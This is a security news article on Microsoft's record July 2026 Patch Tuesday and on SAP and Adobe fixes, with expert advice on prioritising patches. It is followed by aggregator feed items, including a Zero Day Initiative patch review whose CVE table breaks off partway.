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<p class="wp-block-paragraph">Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.</p>



<p class="wp-block-paragraph">Today the company <a href="https://msrc.microsoft.com/update-guide/">issued a record number of patches</a>, with 59 rated as critical. And Microsoft is now recommending that customers accelerate their patching schedules to more quickly deal with critical flaws.</p>



<p class="wp-block-paragraph">“Normally we have to wait for October or November to determine if we’ll break the previous [annual] patch volume record,” which was 1,245 vulnerabilities found in 2020, commented <a href="https://www.tenable.com/profile/satnam-narang">Satnam Narang</a>, senior staff research engineer at Tenable. But not this year. Tenable counted 569 CVEs that were patched officially as part of this month’s Patch Tuesday, excluding the server-side updates not requiring user intervention, smashing last month’s record of 198 fixes</p>



<p class="wp-block-paragraph">It’s probable, he said, that by the end of this year, Microsoft will have found over 3,000 common vulnerabilities and exposures (CVEs).</p>



<p class="wp-block-paragraph">Today’s volume of holes is “striking,” he added, “but it reflects how good these tools have become at finding bugs, not how many of those bugs actually pose a risk to organizations.” </p>



<p class="wp-block-paragraph">Separately, SAP released 20<strong> </strong>new and updated security patches, including a critical memory corruption vulnerability in NetWeaver Application Server ABAP, SAP Kernel, and frontend services tied to SAP GUI for HTML, which has a CVSS score of 9.9.</p>



<h2 class="wp-block-heading">Microsoft patches</h2>



<p class="wp-block-paragraph">Among the huge number of CVEs that Microsoft found were three zero-days that need to be patched, including two that have been exploited in the wild. </p>



<p class="wp-block-paragraph">Those two are both elevation of privilege vulnerabilities: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155,</a> an Active Directory Federation Services (AD FS) flaw that allows attackers with limited access to elevate privileges to administrator, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, a Microsoft SharePoint Server vulnerability. </p>



<p class="wp-block-paragraph">The third is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>, a security feature bypass in Windows BitLocker, which was noted as having been publicly disclosed. “We surmise that this could be related to a flurry of zero-day vulnerabilities disclosed by the researcher known as Nightmare Eclipse or Chaotic Eclipse,” Narang said, “though no official confirmation was made. We also know that the researcher promised to drop something on Patch Tuesday.”</p>



<p class="wp-block-paragraph">While these were the most noteworthy flaws this month, Narang said, for CSOs the July patches prove that the state of the Exploitability Index, which rates how likely a vulnerability is to be exploited, must shift, given the machine speed of exploit discovery. For example, he pointed out, in May, Microsoft originally tagged <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659">CVE-2026-45659</a>, a SharePoint vulnerability, as exploitation less likely. However, the vulnerability was added to the US Cybersecurity &amp; Infrastructure Security Agency’s list of known exploited vulnerabilities on July 1.</p>



<p class="wp-block-paragraph">He added that Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile the monthly Patch Tuesday system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated as Exploitation Less Likely or Exploitation Unlikely.</p>



<p class="wp-block-paragraph">“What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it,” Narang said.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dustincchilds/">Dustin Childs</a>, head of threat awareness at TrendAI’s Zero Day Initiative, agreed.</p>



<p class="wp-block-paragraph">“To call this record-breaking is a massive understatement,” said Childs. “This is the ‘Mother of All Releases’. The bug apocalypse has fully descended upon us, with July’s numbers pushing the year-to-date CVE count past every single full-year total of the last 20 years. Security teams need to take an extended break from their regularly scheduled activities to eat this elephant one byte at a time, starting immediately with active exploits in Active Director FS and SharePoint.”</p>



<p class="wp-block-paragraph">He particularly drew attention to a near-perfect 9.9 CVSS flaw in Windows VMSwitch (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) that allows low-privileged attackers to escape virtual machine boundaries for full host compromise.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/bicer/">Jack Bicer</a>, director of vulnerability research at Action1, agreed that IT leadership should prioritize immediate remediation of the actively exploited Active Directory Federation Services elevation of privilege vulnerability and the SharePoint Server elevation of privilege vulnerability .</p>



<p class="wp-block-paragraph">After that, he said, priority should be given to these critical vulnerabilities: Active Directory Certificate Services Elevation of Privilege Vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>), which introduces the possibility of attackers impersonating trusted systems and potentially compromising AD through certificate abuse; a Windows Active Directory Domain Services remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) which enables unauthenticated remote code execution against one of the most critical components within Windows enterprise environments; a Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944">CVE-2026-55944</a>); a Microsoft Exchange Server spoofing vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>); Microsoft SQL Server remote code execution vulnerabilities (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a>); and multiple Windows DHCP Server vulnerabilities. </p>



<p class="wp-block-paragraph">These holes create opportunities for attackers to compromise financial systems, communication platforms, databases, and core network infrastructure, Bicer pointed out, systems which often provide direct access to sensitive business information and frequently serve as high-value targets for ransomware operators and advanced threat actors. </p>



<p class="wp-block-paragraph">There are also important security updates for Microsoft Defender, Bicer added, noting that vulnerabilities affecting endpoint protection software deserve immediate attention because successful exploitation undermines one of the organization’s primary defensive controls.</p>



<h2 class="wp-block-heading">IT teams must prioritize</h2>



<p class="wp-block-paragraph"><a href="https://fsi.stanford.edu/people/andrew-j-grotto">AJ Grotto</a>, a research scholar at the Centre for International Security and Co-operation and former Senior White House Director for Cyber Policy, said that Microsoft’s July Patch Tuesday “is a stark reminder that security teams are now operating in an era of vulnerability volume and velocity. With 570 vulnerabilities patched, including three actively exploited zero-days, the biggest concern for CSOs isn’t just the number of flaws, but the concentration of risk around identity systems, collaboration platforms, and privilege escalation pathways. The actively exploited vulnerabilities in Active Directory Federation Services and SharePoint are especially concerning because they target technologies that sit at the center of enterprise trust and access.”</p>



<p class="wp-block-paragraph">He added, “for CSOs, the challenge is no longer just defending against threat actors, it’s keeping up with an accelerating cycle of vulnerabilities and updates across the Microsoft ecosystem in the AI era. Security leaders should think critically about diversifying their vendors to protect their enterprise and save time and money on patching an increasing list of bugs that nearly tripled month-over-month.”</p>



<p class="wp-block-paragraph">“While the sheer number of [Microsoft] vulnerabilities might seem alarming on the surface,” said <a href="https://www.linkedin.com/in/nicholasacarroll/">Nick Carroll</a> and <a href="https://www.linkedin.com/in/rainmbaker/">Rain Baker</a> of the Nightwing ShadowScout threat intelligence team, “this can actually be seen as a positive sign for enterprise security. It means vendors are finding and fixing flaws before adversaries can weaponize them en masse.”</p>



<p class="wp-block-paragraph">And <a href="https://www.fortra.com/profile/josh-taylor">Josh Taylor</a>, lead cybersecurity analyst at Fortra, noted that 26 of the Microsoft vulnerabilities have a CVSS base score above 9.0, and 13 of those sit at 9.8. “That matters,” he said, “but CVSS is still only one part of the risk story. The real triage problem this month is the mix of exploited issues, a publicly disclosed BitLocker flaw, and a massive concentration of vulnerabilities in Windows and Office.” </p>



<p class="wp-block-paragraph">He said, “for patching teams, this is the kind of month that rewards discipline. The right move is not panic, it is sequencing: put exploited issues and exposed infrastructure first, then let the normal validation process do its job.”</p>



<h2 class="wp-block-heading">Others increasing their patch cadence too</h2>



<p class="wp-block-paragraph"><a href="https://www.ivanti.com/blog/authors/chris-goettl">Chris Goettl</a>, vice-president of product management at Ivanti, noted many software vendors in addition to Microsoft are increasing their security update cadence. For example, Cisco Systems has just shifted to a risk-based, twice-monthly disclosure model (the first and third Wednesday of each month), Mozilla is on a near weekly security update march, and Oracle’s new Critical Security Patch Update (CSPU) program has been delivering targeted critical-severity fixes on the 3rd Tuesday of non-CPU months since May.</p>



<p class="wp-block-paragraph">Nightwing also noted that Adobe issued 12 separate security bulletins for products in its first twice-monthly bulletin. Administrators must treat today’s Priority 1 ColdFusion update (APSB26-82) with urgency, as it patches a critical 9.9 CVSS path traversal vulnerability (CVE-2026-48318). It’s one of 11 ColdFusion vulnerabilities patched. </p>



<p class="wp-block-paragraph">Additionally, retail and web administrators should immediately prioritize Adobe Commerce (APSB26-73), which resolves a 9.6 CVSS flaw allowing unrestricted uploads of dangerous file types (CVE-2026-48356).</p>



<h2 class="wp-block-heading">SAP vulnerabilities</h2>



<p class="wp-block-paragraph"><a href="https://pathlock.com/author/jonathan-stross/">Jonathan Stross</a>, senior product manager for cybersecurity research and innovation at Pathlock, said the most critical of the SAP fixes is Note 3747367, a memory corruption vulnerability in NetWeaver Application Server ABAP, with a CVSS score of 9.9. The vulnerability affects the ABAP Application Server, SAP Kernel, and frontend services tied to SAP GUI for HTML.</p>



<p class="wp-block-paragraph"> According to SAP, an authenticated attacker can trigger logical memory-management errors that may lead to unauthorized data access, data modification, or system unavailability. The likely attack scenario involves a compromised account or malicious insider abusing a crafted request that reaches the vulnerable code path. </p>



<p class="wp-block-paragraph">“Because a successful exploit can impact confidentiality, integrity, and availability at the platform level, while potentially destabilizing a core ABAP system, organizations should treat this as the highest-priority patch in the July release,” Stross said. </p>



<p class="wp-block-paragraph">Prioritize the critical ABAP kernel issue, plus the AppRouter request smuggling note, and the Commerce Cloud sample-credential issue first, he said, because these are the most likely to produce direct security impact in real environments.</p>



<p class="wp-block-paragraph">But do not treat the updated notes as noise, he added. The July overview includes three re-released items that still matter operationally, and this should be reflected in patch planning and change records. The attack surface is distributed: ABAP, Java, BTP, Commerce, SAProuter, UI5, and supporting libraries all appear in the same monthly cycle, so patching needs coordinated platform ownership.</p>



<p class="wp-block-paragraph"><a href="https://onapsis.com/post-author/thomas-fritsch/">Thomas Fritsch</a>, an SAP researcher at Onapsis, described the <a href="https://onapsis.com/blog/sap-security-patch-day-july-2026/">SAP Security notes</a> in detail and noted that SAP teams who can’t immediately install the NetWeaver memory corruption fix can, as a temporary workaround, disable all ICF nodes with a specific property in transaction SICF. However, since the workaround will disable opening transactions in SAP GUI for HTML, it is not an option for all customers and it is strongly recommended to install the patched ABAP Kernel version.</p>



<h2 class="wp-block-heading">Patching should become continuous</h2>



<p class="wp-block-paragraph">“AI is likely to expose new classes of weaknesses, and will introduce some of its own through AI-assisted development,” commented <a href="https://www.linkedin.com/in/thegenemoody/">Gene Moody</a>, Field CTO at Action1. “Logically, with that in mind, the future of updating must become more continuous, more adaptive, and less tied to a fixed calendar. Discovery will not follow business logic; it will be swift and unforgiving. We must accept that, and be just as diligent in our defense, because the cost of failure is higher than the inconvenience of change.” </p>



<p class="wp-block-paragraph">He added, “in my crystal ball, I see a future where Microsoft and others move steadily away from scheduled monthly patch cycles in favor of rolling updates for most security issues in as close to live time as they can be researched and released. That would be a win for the entire industry. Faster patch creation and delivery, paired with more agile practices on the customer side, would finally start to align patching with the pace of modern discovery and exploitation.” </p>



<p class="wp-block-paragraph">“What needs to happen is simple,” he said. “Patching on a calendar is no longer a safe assumption in today’s threat landscape. Patching where and when needed versus scheduled is the only path forward.”</p>
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<title><![CDATA[7/14/2026]]></title>
<description><![CDATA[NATO Logistics, Ukrainian Troops Are Top Subjects of Russian Camera Hacks, Advisory Says Putin Was Xi’s Role Model. Now He’s the Junior Partner. Britons Urged To Take ‘Small Steps’ To Prepare for Potential National CrisesU.S. To Launch AI and Cybersecurity Coordination Group, White House SaysUK B...]]></description>
<link>https://tsecurity.de/de/3669262/it-security-nachrichten/7142026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669262/it-security-nachrichten/7142026/</guid>
<pubDate>Wed, 15 Jul 2026 01:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NATO Logistics, Ukrainian Troops Are Top Subjects of Russian Camera Hacks, Advisory Says Putin Was Xi’s Role Model. Now He’s the Junior Partner. Britons Urged To Take ‘Small Steps’ To Prepare for Potential National CrisesU.S. To Launch AI and Cybersecurity Coordination Group, White House SaysUK Banks’ Lack of Mythos Access a Wake-up Call, Says Government … <a href="https://thecyberbeat.com/2026/07/14/7-14-2026/" class="more-link">Continue reading <span class="screen-reader-text">7/14/2026</span></a>]]></content:encoded>
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<title><![CDATA[Global cooperation needed to tackle AI threats, says Bank of England governor]]></title>
<description><![CDATA[Andrew Bailey warns that US will not be able to achieve its ambitions aloneThe Bank of England governor has called for international cooperation to tackle growing AI threats, warning that the US and Trump administration would not be able to achieve their ambitions alone.Andrew Bailey’s comments c...]]></description>
<link>https://tsecurity.de/de/3669068/ai-nachrichten/global-cooperation-needed-to-tackle-ai-threats-says-bank-of-england-governor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669068/ai-nachrichten/global-cooperation-needed-to-tackle-ai-threats-says-bank-of-england-governor/</guid>
<pubDate>Tue, 14 Jul 2026 22:18:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Andrew Bailey warns that US will not be able to achieve its ambitions alone</p><p>The Bank of England governor has called for international cooperation to tackle growing AI threats, warning that the US and Trump administration would not be able to achieve their ambitions alone.</p><p>Andrew Bailey’s comments come weeks after the US president, Donald Trump, temporarily banned foreigners from using Anthropic’s powerful Claude Mythos model.</p> <a href="https://www.theguardian.com/technology/2026/jul/14/global-cooperation-needed-to-tackle-ai-threats-says-bank-of-england-governor">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
